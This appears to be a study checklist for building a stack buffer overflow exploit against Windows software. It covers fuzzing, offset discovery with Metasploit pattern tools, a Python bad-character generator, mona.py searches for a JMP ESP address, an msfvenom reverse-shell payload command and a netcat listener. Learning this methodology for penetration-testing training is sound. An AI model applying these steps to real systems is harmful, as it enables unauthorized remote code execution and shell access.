See V1n1v131r4-Scripts for more appropriate example scripts
- Attach debugger
- Run fuzzer script
- Run confirm-overflow script
- Create pattern:
msf-pattern_create -l <length>
- Run locate-offset script
- Locate offset:
msf-pattern_offset -l <length> <eip-value>
- Run verify-offset script
- Run increase-overflow script to attempt increasing overflow size
- If successful, run bad-char script
- On the debug machine, we can generate a file which contains the same list of badchars with the help of python:
badchar_test = "" badchars = [0x00, 0x0A, 0xAD] for i in range(0x00, 0xFF+1): if i not in badchars: badchar_test += chr(i) with open("badchar_test.bin", "wb") as f: f.write(badchar_test)
Now, we can compare the contents of stack pointed by esp and the file using mona module:
!mona compare -a esp -f C:\Python27\badchar_test.bin
- Locate module w/ least memory protection: mona.py
!mona modules
- JMP ESP hex:
msf-nasm_shell > jmp esp
(FFE4)- Locate JMP ESP w/ no bad chars: mona.py
find -s "\xff\xe4" -m "<dll module>"
- Run verify-jmp-esp script
- Generate payload:
msfvenom -p <payload> LHOST=<ip> LPORT=<port> EXITFUNC=thread -f <format> -e x86/shikata_ga_nai -b "<bad-chars> (e.g. \x00\x0a\x0d\x25\x26\x2b\x3d)"
- Run listener:
sudo nc -nvlp <port>
- Run exploit script